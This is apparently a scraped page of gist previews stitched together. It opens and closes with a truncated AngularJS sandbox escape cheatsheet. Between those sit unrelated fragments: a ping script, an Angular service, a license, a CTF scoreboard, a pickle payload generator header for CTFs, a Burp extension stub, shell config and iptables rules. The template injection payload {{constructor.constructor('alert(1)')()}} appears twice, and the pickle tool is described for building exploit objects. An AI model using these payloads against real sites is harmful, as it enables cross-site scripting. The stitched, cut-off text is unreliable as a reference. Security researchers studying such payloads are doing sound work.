#Angular Sandbox Escapes Cheatsheet
Source: XSS without HTML: Client-Side Template Injection with AngularJS
1.0.1 - 1.1.5 Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1
| #!/usr/bin/env python | |
| """ | |
| A pure Python "ping" implementation, based on a rewrite by Johannes Meyer, | |
| of a script originally by Matthew Dixon Cowles. Which in turn was derived | |
| from "ping.c", distributed in Linux's netkit. The version this was forked | |
| out of can be found here: https://gist.github.com/pklaus/856268 | |
| I've rewritten nearly everything for enhanced performance and readability, | |
| and removed unnecessary functions (assynchroneous PingQuery and related). |
| // Source: https://groups.google.com/forum/#!topic/angular/hVrkvaHGOfc | |
| // jsFiddle: http://jsfiddle.net/pkozlowski_opensource/PxdSP/14/ | |
| // author: Pawel Kozlowski | |
| var myApp = angular.module('myApp', []); | |
| //service style, probably the simplest one | |
| myApp.service('helloWorldFromService', function() { | |
| this.sayHello = function() { | |
| return "Hello, World!" |
| DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE | |
| Copyright (C) 2014 ADDY OSMANI <addyosmani.com> | |
| Everyone is permitted to copy and distribute verbatim or modified | |
| copies of this license document, and changing it is allowed as long | |
| as the name is changed. | |
| DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE | |
| TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION |
| 1 5451 PPP | |
| 2 4751 Samurai | |
| 3 4001 KAIST GoN | |
| 4 3701 TracerTea | |
| 5 3601 gallopsled | |
| 6 3601 0ops | |
| 7 3551 More Smoked Leet Chicken | |
| 8 3351 penthackon | |
| 9 3301 AcaiBerry | |
| 10 3301 Dragon Sector |
| #!/usr/bin/env python | |
| ''' | |
| 0xBADCA7 | |
| Vodka goes down the throat better with pickle. | |
| This script generates pickled object representation. Good for CTFs. | |
| Params: [1] function, [2] parameter, [3] pickle type | |
| Sample run: |
| # These are java classes, being imported using python syntax (Jython magic) | |
| from burp import IBurpExtender | |
| from burp import IHttpListener | |
| # These are plain old python modules, from the standard library | |
| # (or from the "Folder for loading modules" in Burp>Extender>Options) | |
| from datetime import datetime | |
| class BurpExtender(IBurpExtender, IHttpListener): | |
| man() { | |
| env \ | |
| LESS_TERMCAP_mb=$(printf "\e[1;31m") \ | |
| LESS_TERMCAP_md=$(printf "\e[1;31m") \ | |
| LESS_TERMCAP_me=$(printf "\e[0m") \ | |
| LESS_TERMCAP_se=$(printf "\e[0m") \ | |
| LESS_TERMCAP_so=$(printf "\e[1;44;33m") \ | |
| LESS_TERMCAP_ue=$(printf "\e[0m") \ | |
| LESS_TERMCAP_us=$(printf "\e[1;32m") \ | |
| man "$@" |
| # Logs | |
| logs | |
| *.log | |
| npm-debug.log* | |
| # Runtime data | |
| pids | |
| *.pid | |
| *.seed |
| # Modify this file accordingly for your specific requirement. | |
| # http://www.thegeekstuff.com | |
| # 1. Delete all existing rules | |
| iptables -F | |
| # 2. Set default chain policies | |
| iptables -P INPUT DROP | |
| iptables -P FORWARD DROP | |
| iptables -P OUTPUT DROP |
#Angular Sandbox Escapes Cheatsheet
Source: XSS without HTML: Client-Side Template Injection with AngularJS
1.0.1 - 1.1.5 Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1